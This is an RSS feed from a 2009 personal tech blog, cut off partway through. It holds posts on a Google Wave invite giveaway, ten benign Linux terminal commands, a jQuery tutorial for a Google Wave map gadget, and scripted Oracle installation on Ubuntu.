<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Quick Tweaks &#187; ashokgelal</title>
	<atom:link href="http://www.quicktweaks.com/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.quicktweaks.com</link>
	<description>Quick Tweaks For Your System</description>
	<lastBuildDate>Fri, 27 Nov 2009 22:29:24 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google Wave Invitations Giveaway</title>
		<link>http://www.quicktweaks.com/2009/11/27/google-wave-invitations-giveaway/</link>
		<comments>http://www.quicktweaks.com/2009/11/27/google-wave-invitations-giveaway/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 18:02:46 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Give Away]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google wave]]></category>
		<category><![CDATA[beta]]></category>
		<category><![CDATA[invitations]]></category>
		<category><![CDATA[tweat]]></category>
		<category><![CDATA[tweat.org]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=301</guid>
		<description><![CDATA[I&#8217;ve got few Google Wave invitations for those who need one. Have Twitter, please retweet? You can follow me too: http://twitter.com/ashokgelal
Please leave a comment with your correct email address if you want to have one [don't post your email in the comment itself. Just make sure to type the correct email address in the email [...]


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/15/creating-a-multiuser-interactive-google-map-gadget-for-google-wave-with-jquery-part-i/' rel='bookmark' title='Permanent Link: Creating a multiuser interactive Google Map gadget for Google Wave with JQuery &#8211; Part I'>Creating a multiuser interactive Google Map gadget for Google Wave with JQuery &#8211; Part I</a> <small>In this post I will show how to create a...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve got few Google Wave invitations for those who need one. Have Twitter, please retweet? You can follow me too: <a title="Follow me at Twitter" href="http://twitter.com/ashokgelal" target="_blank">http://twitter.com/ashokgelal</a></p>
<p><span id="more-301"></span>Please leave a comment with your correct email address if you want to have one [<em><strong>don't post your email in the comment itself. Just make sure to type the correct email address in the email field</strong></em>]</p>
<p>If you are interested in creating a Google Wave gadget, <a title="Create a Google Wave gadget" href="http://www.quicktweaks.com/2009/11/15/creating-a-multiuser-interactive-google-map-gadget-for-google-wave-with-jquery-part-i/" target="_blank">please read this post instead</a>. I also need few users who can help us test our beta site <a title="http://tweat.org" href="http://tweat.org" target="_blank">http://tweat.org</a>.</p>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/15/creating-a-multiuser-interactive-google-map-gadget-for-google-wave-with-jquery-part-i/' rel='bookmark' title='Permanent Link: Creating a multiuser interactive Google Map gadget for Google Wave with JQuery &#8211; Part I'>Creating a multiuser interactive Google Map gadget for Google Wave with JQuery &#8211; Part I</a> <small>In this post I will show how to create a...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2009/11/27/google-wave-invitations-giveaway/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>10 Linux commands for fun</title>
		<link>http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/</link>
		<comments>http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 22:09:46 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Terminal]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[fun]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=309</guid>
		<description><![CDATA[Here are few Linux commands you can play with for fun. Some of these might be helpful in certain situations but I've compiled them here so that you can play with it, appreciate the power of Linux commands, or just show off your Linux skills to your friends.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Here are few Linux commands you can play with for fun. Some of these might be helpful in certain situations but I&#8217;ve compiled them here so that you can play with it, appreciate the power of Linux commands, or just show off your Linux skills to your friends.</p>
<p><span id="more-309"></span>Let me warn you first &#8211; these commands are not for newbies, those who just started using Linux or for those who want to start with Linux terminal.</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<h3><span style="color: #ff6600;">#1 Browse and display images in Terminal</span></h3>
<p>Browse and display images in Terminal? Yes! To browse the images in the current directory:<br />
<code>$ sudo zgv</code><br />
To browse the images in /home/username/pictures directory:<br />
<code>$ sudo zgv <em>/home/username/pictures</em></code></p>
<p>Note: If you get any mouse not initialized message, just unplug your mouse, type <em>zgv </em>and plug your mouse back</p>
<h3><span style="color: #ff6600;">#2 Burn a CD/DVD/BluRay Disk<br />
</span></h3>
<p>Llet’s add a small twist; make an ISO image of a large folder and burn them to a CD/DVD.<br />
Crate an ISO image (myISOFile) out of a folder (or filename)<br />
<code>$ mkisofs –r –o <em>myISOFile.ISO folderOrFilename</em></code><br />
Now burn the above ISO image to a CD/DVD<br />
<code>$ cdrecord --device=<em>cdwriter-device</em> -tao -eject <em>myISOFile.ISO</em></code></p>
<h3><span style="color: #ff6600;">#3 Create ASCII text graphics</span></h3>
<p>What about creating some ASCII graphics such as the following? You can paste it in your email as a signature to impress your friends <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<pre> _     _
| |   (_)_ __  _   ___  __
| |   | | '_ \| | | \ \/ /
| |___| | | | | |_| |&gt;  &lt;
|_____|_|_| |_|\__,_/_/\_\</pre>
<p><code>$ figlet <em>Linux</em></code><br />
This is displayed with the default font, to use other fonts, give a font name after switch f:<br />
<code>$ figlet <em>quick tweaks</em> –f <em>script</em></code></p>
<pre><strong>                      _                            _
             o       | |                          | |
 __,             __  | |    _|_          _   __,  | |   ,
/  |  |   |  |  /    |/_)    |  |  |  |_|/  /  |  |/_) / \_
\_/|_/ \_/|_/|_/\___/| \_/   |_/ \/ \/  |__/\_/|_/| \_/ \/
   |\
   |/    

</strong><code>$ figlet <em>Quick Tweaks</em> –f <em>script</em></code></pre>
<pre>  _ \       _)      |    __ __|                   |
 |   | |   | |  __| |  /    |\ \  \   / _ \  _` | |  /  __|
 |   | |   | | (      &lt;     | \ \  \ /  __/ (   |   &lt; \__ \
 \__\_\\__,_|_|\___|_|\_\  _|  \_/\_/ \___|\__,_|_|\_\____/</pre>
<p>The fonts for <em>figlet </em>are installed in <strong>/usr/share/figlet</strong> directory</p>
<h3><span style="color: #ff6600;">#4 Run remote applications in full GUI mode<br />
</span></h3>
<p>As a Computer Science student, I often need access my lab computers (which have Fedora installed) through SSH. After I submit my assignments, esp. those GUI based programming assignments, I wanted to check if everything is fine. Accessing remote computer is easy:<br />
<code>$ ssh <em>username@example.com</em></code><br />
If you want to run remote applications such as OpenOffice or Eclipse, just uncomment <strong><code>ForwardX11 yes</code></strong> in <strong>/etc/ssh/ssh_config</strong> file. After that if you type, eclipse, for an example, the remote application will run in full GUI mode.</p>
<h3><span style="color: #ff6600;">#5 Split a large file into several pieces (for easy copy)<br />
</span></h3>
<p>If you have a large file of about 1 GB size and have two CDs to spare (or two thumb drives of 512 MB each), how can you carry that 1GB file?<br />
<code>$ split –b<em>500m</em> <em>myBigFile</em> <em>mySmallFIles</em>.</code><br />
To join the smaller files to get the big files back:<br />
<code>$ cat <em>mySmallFiles</em>.* &gt; <em>myBigFile</em></code></p>
<h3><span style="color: #ff6600;">#6 Take screenshot of a rectangular area and save it as png file</span></h3>
<div id="attachment_51" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.quicktweaks.com/wp-content/uploads/2008/10/myscreenshot.png"><img class="size-medium wp-image-51" title="myscreenshot" src="http://www.quicktweaks.com/wp-content/uploads/2008/10/myscreenshot-300x144.png" alt="My Screenshot" width="300" height="144" /></a><p class="wp-caption-text">Screenshot taken with import command</p></div>
<p><code>$ import –frame <em>myScreenShot.png</em></code></p>
<p>After this command, the mouse pointer changes to a set of cross-hairs; left-click and drag the mouse across an area of the screen and release the mouse to capture the selected area.</p>
<h3><span style="color: #ff6600;">#7 Resize an image, put a border around it, and add a comment</span></h3>
<p><code>$mogrify -geometry <em>300x200</em> -border <em>8x8</em> -comment “<em>Windows Sucks</em>” <em>myScreenShot.png</em></code></p>
<h3><span style="color: #ff6600;">#8 Quickly converting a .wav file to a .mp3 file<br />
</span></h3>
<p><code>$ lame <em>myMusicFile.wav myMusicFile.mp3</em></code></p>
<h3><span style="color: #ff6600;">#9 Display a nicely formatted calendar (or doing some quick maths?)<br />
</span></h3>
<p><code>$ cal <em>1972</em></code></p>
<p>Get the factorial of 10</p>
<p><code>$ calc <em>10!</em></code></p>
<h3><span style="color: #ff6600;">#10 Mirror a website to your computer for offline browsing</span></h3>
<p><code>$ wget -mk <em>http://example.com</em></code></p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating a multiuser interactive Google Map gadget for Google Wave with JQuery &#8211; Part I</title>
		<link>http://www.quicktweaks.com/2009/11/15/creating-a-multiuser-interactive-google-map-gadget-for-google-wave-with-jquery-part-i/</link>
		<comments>http://www.quicktweaks.com/2009/11/15/creating-a-multiuser-interactive-google-map-gadget-for-google-wave-with-jquery-part-i/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 00:01:15 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[google]]></category>
		<category><![CDATA[google wave]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[gadget]]></category>
		<category><![CDATA[robot]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wave]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=269</guid>
		<description><![CDATA[In this post I will show how to create a simple multi-user interactive map gadget contains a marker showing the current location. Any one of the participants can change the current location of the map. The 'change' will be reflected on the map of all the participants. 


Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/27/google-wave-invitations-giveaway/' rel='bookmark' title='Permanent Link: Google Wave Invitations Giveaway'>Google Wave Invitations Giveaway</a> <small>I&#8217;ve got few Google Wave invitations for those who need...</small></li></ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>We just released the beta version of <a title="tweat.org" href="http://tweat.org/" target="_blank">tweat.org</a> &#8211; a site which maps the best meals in your town. We (by we mean me and the awesome <a title="Trent Cutler's home page" href="http://trentcutler.com/" target="_blank">Trent Cutler</a>) decided that we also need a Tweat extension for Google Wave. It might be very useful for users to find out the best restaurant to go for their next lunch &#8211; from right within Google Wave! <a title="Getting ready for a Google Wave extension" href="http://www.ashokgelal.com/2009/11/getting-ready-for-a-google-wave-extension/" target="_blank">I&#8217;m already started working on it</a>, and you should hear about an awesome Google Wave extension pretty soon <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>After using Google Wave for about 10 days, I&#8217;ve absolutely fallen in love with it. It&#8217;s not only fun, but is a very useful collaboration tool. I honestly believe that it will change the way we communicate. One of the most powerful features of Google Wave is its support for extensions. In this post I will show how to create a simple multi-user interactive map gadget. Read on if you are interesting in developing a Google Wave gadget. If you only jumped in to this site looking for a Google Wave invitation, <a title="Google Wave invitation" href="http://blog.tweat.org/2009/11/tweat-org-is-giving-away-google-wave-invites/" target="_blank">this might help you out to get one</a>. If you have a Google Wave account and want to try this gadget, here is the link to the gadget: <a title="Google Wave Extension" href="http://wave.tweat.org/gwave/tut/tut.xml" target="_blank">http://wave.tweat.org/gwave/tut/tut.xml</a></p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<h3><span id="more-269"></span><br />
<strong> What really are we going to create?</strong></h3>
<p>A Google map which contains a marker showing the current location. Any one of the participants can change the current location of the map. The &#8216;change&#8217; will be reflected on the map of all the participants. There is already a full featured Google Wave gadget called Mappy, and you can even read its source code. This post is just a beginner&#8217;s guide and also the full featured Mappy is advance and pretty hard to understand.<br />
This is just the first part of a long series of tutorials on Goolge Wave gadget. In other parts we will try to integrate geo-location and other features similar to the one we have in <a title="tweat.org google map" href="http://tweat.org/eatlocal/" target="_blank">tweat.org</a>. If you want to see any other features, let me know in the comments.</p>
<p>Though developing a gadget is very easy and intuitive, it is not so easy to test the gadget from within your local server. Unless you have access to Google Wave Sandbox, which I unfortunately don&#8217;t have, it is going to be a bit difficult. Nevertheless, it is very fun and I would say very good investment to invest some time and efforts in learning how to develop a Google Wave gadget. Before you open up your text editor and start acting like a code monkey, there are few things you need:</p>
<ol>
<li>Obviously, a Google Wave account. If you have someone else that can be with you while you are testing, that would be very convenient! For those of you who don&#8217;t have any Google Wave account or if you need another one &#8211; <a title="Google Wave invitation" href="http://blog.tweat.org/2009/11/tweat-org-is-giving-away-google-wave-invites/" target="_blank">this might help you out</a>.</li>
<li>Get a Google AJAX Libraries api key: <a href="http://code.google.com/apis/maps/signup.html">http://code.google.com/apis/maps/signup.html</a>. We will be using Google Map, and JQuery hosted at Google CDN.</li>
<li>After you are ready to test your gadget, you need to host your files in a publicly accessible place. If you don&#8217;t have one and don&#8217;t mind sharing your gadget making it an open-source, you can try Google&#8217;s own Gadgets API Developer Tools <a href="http://code.google.com/apis/gadgets/docs/tools.html#Host">http://code.google.com/apis/gadgets/docs/tools.html#Host</a> which allows you to host your gadget for free!</li>
</ol>
<p>That&#8217;s all we need for now.</p>
<h3>Getting Started:</h3>
<p>Fireup your favorite text editor and start with the following:</p>
<pre class="brush: xml;">
&amp;lt;body&amp;gt;
        &amp;lt;div id=&amp;quot;map_canvas&amp;quot; style=&amp;quot;height: 350px; width:500px&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;address&amp;quot; /&amp;gt;
        &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;submit&amp;quot; /&amp;gt;
&amp;lt;/body&amp;gt;
</pre>
<p>We just created a 350&#215;500px div to hold our map. We also created an input box to type in the address, and a submit button to geocode the address and show on the map. Let&#8217;s move into the main part, the javascript part. Add the following codes just before the</p>
<pre class="brush: jscript;">
&amp;lt;head&amp;gt;
     &amp;lt;script src=&amp;quot;http://www.google.com/jsapi?key=&amp;lt;PUT YOUR JS API HERE&amp;gt;&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
     &amp;lt;script&amp;gt;
       google.load(&amp;quot;maps&amp;quot;, &amp;quot;2&amp;quot;);
       google.load(&amp;quot;jquery&amp;quot;, &amp;quot;1.3&amp;quot;);
     &amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
</pre>
<p>What are we doing here? Not much except than just loading Google Maps (v2) and Jquery (v1.3) library from Google CDN.</p>
<p>Now the fun part, add the following lines just before the closing <code><em></em></code> tag. Don&#8217;t worry if you don&#8217;t understand even a single line, we will go through each line and will see what&#8217;s going on.</p>
<pre class="brush: jscript;">
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
 var map;
 var geocoder;
 var marker;
 $(function(){
      map = new GMap2(document.getElementById(&amp;quot;map_canvas&amp;quot;));
      map.setUIToDefault();
      geocoder = new GClientGeocoder();
      map.getInfoWindow();

      marker = new GMarker(new GLatLng(0,0));
      map.addOverlay(marker);
      map.setCenter(marker.getLatLng(),13);

      $('input[name=submit]').bind('click', function(){
           address = $('input[name=address]').val();
           wave.getState().submitDelta({
                'address':address
           });
           return false;
      });
 });

 function reload(){
      address = wave.getState().get('address');
      geocoder.getLatLng(address, function(latlng){
           if(!latlng){
               alert(&amp;quot;Cannot determine the address&amp;quot;);
           }else{
              marker.setLatLng(latlng);
              map.setCenter(latlng, 13);
           }
     })
 }

 function init() {
      if (wave &amp;amp;&amp;amp; wave.isInWaveContainer()) {
           wave.setStateCallback(reload);
      }
 }

 gadgets.util.registerOnLoadHandler(init);
</pre>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<h3><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">Details:</span></h3>
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">Let's talk about the function <code><em>init</em> </code>and the last line:</span></pre>
<pre class="brush: jscript;">gadgets.util.registerOnLoadHandler(init) </pre>
<p>The line says that whenever the gadget is loaded, call the <code><em>init </em></code>method. The name of the function can be anything, it doesn&#8217;t have to be <code><em>init</em></code>. <code><em>init </em></code>just makes it clear, and intuitive that this function will be called when the gadget will be <em>initialized</em>. Now, inside the <code><em>init </em></code>function, we check that the wave has been defined and the wave is in the wave container (which is the job of Google Wave to create and initialize wave object you don&#8217;t have to worry about this). If it is then whenever there is a change in wave&#8217;s state, it calls the global function <code><em>reload</em></code>. If you are smart enough, you might have already guessed that the <code><em>reload </em></code>will be the main function handling all of our user interactions.</p>
<p>On the top, we started by declaring three global variables:<br />
<code><em>map </em></code>-&gt; for holding reference to the map that we are going to add<br />
<code><em>geocoder </em></code>-&gt; to convert the given address into latitude/longitude value<br />
<code><em>marker </em></code>-&gt; for holding reference to the marker which will represent the given address on the map</p>
<p>Now, we want to add map to the div <em>ONLY </em>after dom is ready for which we will use the wonderful JQuery:</p>
<pre class="brush: jscript;">
$(function(){
</pre>
<p>Now, we will create our map, attach the map to our div, set the map UI to default. We will create a geocoder object, and a marker:</p>
<pre class="brush: jscript;">
      map = new GMap2(document.getElementById(&amp;quot;map_canvas&amp;quot;));
      map.setUIToDefault();
      geocoder = new GClientGeocoder();
      map.getInfoWindow();
      marker = new GMarker(new GLatLng(0,0));
      map.addOverlay(marker);
      map.setCenter(marker.getLatLng(),13);
</pre>
<p>Please notice that the the marker&#8217;s initial position is at 0,0 and also the initial zoom is 13</p>
<p>Now, we will bind the click action on the <em>submit </em>button&#8230;</p>
<pre class="brush: jscript;">
$('input[name=submit]').bind('click', function(){
</pre>
<p>&#8230;and get the current address from the <em>input </em>box:</p>
<pre class="brush: jscript;">
address = $('input[name=address]').val();
</pre>
<p>Now, it is time to make our map react with the submit button&#8217;s click action. For this we will pass a key/value pair (called map in JavaScript) to wave which will notify our <code><em>reload</em> </code>function (we will come to this function in a few seconds):</p>
<pre class="brush: jscript;">
wave.getState().submitDelta({
'address':address
});
return false;
</pre>
<p>These two lines are really important. We are passing the value from the <code><em>input </em></code>box held in <code><em>address </em></code>variable to wave&#8217;s current state.</p>
<p>Now, we will write a global function reload which will be called every time one of the participants clicks on the <code><em>submit </em></code>button to set a new address.<br />
We will first grab the value of address from the map that we passed in line 17-18:</p>
<pre class="brush: jscript;">
address = wave.getState().get('address');
</pre>
<p>We will now use Google&#8217;s geocoding service to get the equivalent latitude/longitude value for this address:</p>
<pre class="brush: jscript;">
      geocoder.getLatLng(address, function(latlng){
           if(!latlng){
               alert(&amp;quot;Cannot determine the address&amp;quot;);
           }else{
              marker.setLatLng(latlng);
              map.setCenter(latlng, 13);
           }
     })
</pre>
<p>If the geocoder returns a latlng value we will set the marker, and center our map to that latlng otherwise we will alert the participants that the address cannot be determined.</p>
<p>That&#8217;s all for our application part. Now, it is time to wrap up our code in a format recognized by Google Wave. Include following lines on top of the file (before <code><em></em></code>):</p>
<pre class="brush: xml;">
&amp;lt;Module&amp;gt;
     &amp;lt;ModulePrefs title=&amp;quot;My first Google Wave Gadget&amp;quot; height=&amp;quot;450&amp;quot;&amp;gt;
          &amp;lt;Require feature=&amp;quot;wave&amp;quot;/&amp;gt;
     &amp;lt;/ModulePrefs&amp;gt;
     &amp;lt;Content type=&amp;quot;html&amp;quot;&amp;gt;
         &amp;lt;![CDATA[
</pre>
<p><code><em>ModulePrefs </em></code>is the place where you can set all the settings for your gadget such as height, width, title, icon, thumbnail etc. Among other, height is important and you might have to do a little bit of hit-and-trial to get to the height which won't cover a part of your gadget inside a wave. For more information about available settings, <a title="Google Wave gadget documentation" href="http://code.google.com/apis/gadgets/docs/basic.html#Userprefs" target="_blank">please visit official Google Wave documentation</a>.</p>
<p>Finally, finish off the code by closing the xml tags. At the end of your file, right after &lt;/body&gt; tag, include:</p>
<pre class="brush: xml;">
          ]]&amp;gt;
     &amp;lt;/Content&amp;gt;
&amp;lt;/Module&amp;gt;
</pre>
<h3>Download the source:</h3>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p><a title="Download tut source code" href="http://dl.dropbox.com/u/83257/tut.xml" target="_blank">Download the source file from here</a> to see, and be sure that it matches everything with yours.</p>
<h3>What next?</h3>
<p>As I&#8217;ve already talked about this earlier, this is just the first part, I will definitely come up with other parts to make this gadget more useful. I do hope that you guys will also share your knowledge, and experience with me, and other readers. I would definitely welcome any feedback and constructive criticism. Keep coming back as the next extension we will be developing, after we finish this gadget, will be a Google Wave Robot!!! For now start a new wave with one of your friends so that you can test out your first ever Google Wave gadget. If you don&#8217;t find anyone, &#8216;buzz&#8217; me at ashokgelal[at]googlewave[dot]com. If I&#8217;m online and not busy, I will definitely help you out. In the mean time, don&#8217;t forget to follow me at Twitter <a title="follow ashokgelal at Twitter" href="http://twitter.com/ashokgelal" target="_blank">@ashokgelal</a> and also tweatorg <a title="follow tweatorg at Twitter" href="http://twitter.com/tweatorg" target="_blank">@tweatorg</a>.</p>
<p>Happy Waving!</p>


<p>Related posts:<ol><li><a href='http://www.quicktweaks.com/2009/11/27/google-wave-invitations-giveaway/' rel='bookmark' title='Permanent Link: Google Wave Invitations Giveaway'>Google Wave Invitations Giveaway</a> <small>I&#8217;ve got few Google Wave invitations for those who need...</small></li></ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2009/11/15/creating-a-multiuser-interactive-google-map-gadget-for-google-wave-with-jquery-part-i/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Kick ass guide for installing Oracle on Ubuntu</title>
		<link>http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/</link>
		<comments>http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 06:35:14 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Installation]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Wallpapers]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Intrepid Ibex]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=256</guid>
		<description><![CDATA[Four steps for installing Oracle on Ubuntu. Steps by steps video


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">One of the few complaints against any Linux OS &#8211; Difficult to install software which are not in the repository or in the standard .rpm/.deb format. Windows users enjoy double clicking an executable and then clicking NEXT button few times, Mac users just need to drag that .dmg file to the Application folder. Linux users feel themselves left out and find their own way playing with the Terminal, editing different system files, copying files from here to there and finally setting up some environment variables. Whew!</p>
<p><span id="more-256"></span></p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>After switching to Ubuntu, I tried to install Oracle but no luck until I found <a title="Installing Oracle 11g on Ubuntu Intrepid by Augusto Bott" href="http://www.pythian.com/blogs/1355/installing-oracle-11gr1-on-ubuntu-810-intrepid-ibex" target="_blank">this guide from Augusto Bott</a> . He has really written an excellent guide on installing Oracle on different versions of Ubuntu. But again with this guide also the users need to open different files and edit them manually. It isn&#8217;t that much difficult but if you are like me who often needs to reinstall/upgrade Ubuntu for one reason or other, reading the whole guide and manually editing the system files is really time consuming and cumbersome. So, to save my time for future installation of Oracle database on my Ubuntu box, I wrote a couple of scripts (four scripts to be exact). Running these four scripts will install Oracle database and will give you a fresh database to start with. To facilitate visual-learners, I&#8217;ve also made two videos which have been embedded below. I will explain how to proceed briefly below:</p>
<p>1.<a title="Download installer scripts" href="http://dl.getdropbox.com/u/83257/oraInstaller.zip" target="_blank"> Download all four scripts</a>.and unzip them</p>
<p>2. Extract Oracle database downloaded from Oracle to a folder (such as in your home folder)</p>
<p>3. Open<em><strong> 2_OraInstaller.sh</strong></em> in a text editor and change the source/destination values. The default values assume that you have extracted the Oracle installer files in ~/oracle folder and you want to install Oracle db in /opt/oracle folder.</p>
<p>4. Open <em><strong>4_OraInstaller.sh</strong></em> in a text editor and change the name of your database instance (dbSID). The default is oraIntrepid.</p>
<p>5. Fire up the Terminal and make all the files executable:</p>
<p><em><strong>$chmod 755 ./1_OraInstaller.sh</strong></em></p>
<p><em><strong>$chmod 755 ./2_OraInstaller.sh</strong></em></p>
<p><em><strong>$chmod 755 ./3_OraInstaller.sh</strong></em></p>
<p><em><strong>$chmod 755 ./4_OraInstaller.sh</strong></em></p>
<p>6. Make sure you have at least 3gb free space where you want to install your Oracle DB</p>
<p>7. Execute: $<em><strong>./1_OraInstaller.sh</strong></em></p>
<p>You need to logoff and login once</p>
<p>8. Execute: $<em><strong>./2_OraInstaller.sh</strong></em></p>
<p>This will install Oracle in silent mode. Please be patient as it will take some time and be very sure that YOU ARE CONNECTED TO THE INTERNET!!!</p>
<p>9. Execute: $<em><strong>./3_OraInstaller.sh</strong></em></p>
<p>You need to restart you computer once at this point.</p>
<p>10. Execute: $./<em><strong>4</strong><strong>_OraInstaller.sh</strong></em></p>
<p>This will install Oracle database instance in silent mode. This will take about 15 mins so be very patient.</p>
<p>At this point your Oracle installation on your Ubuntu box is complete.</p>
<p>Here are two videos showing all the above steps:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p><a href="http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/"><em>Click here to view the embedded video.</em></a></p> <p><a href="http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/"><em>Click here to view the embedded video.</em></a></p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2009/01/07/kick-ass-guide-for-installing-oracle-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Fun with Linux Commands-III &#8211; Being productive</title>
		<link>http://www.quicktweaks.com/2008/11/01/fun-with-linux-commands-iii-being-productive/</link>
		<comments>http://www.quicktweaks.com/2008/11/01/fun-with-linux-commands-iii-being-productive/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 07:06:44 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[TerminalFunFive]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[script]]></category>

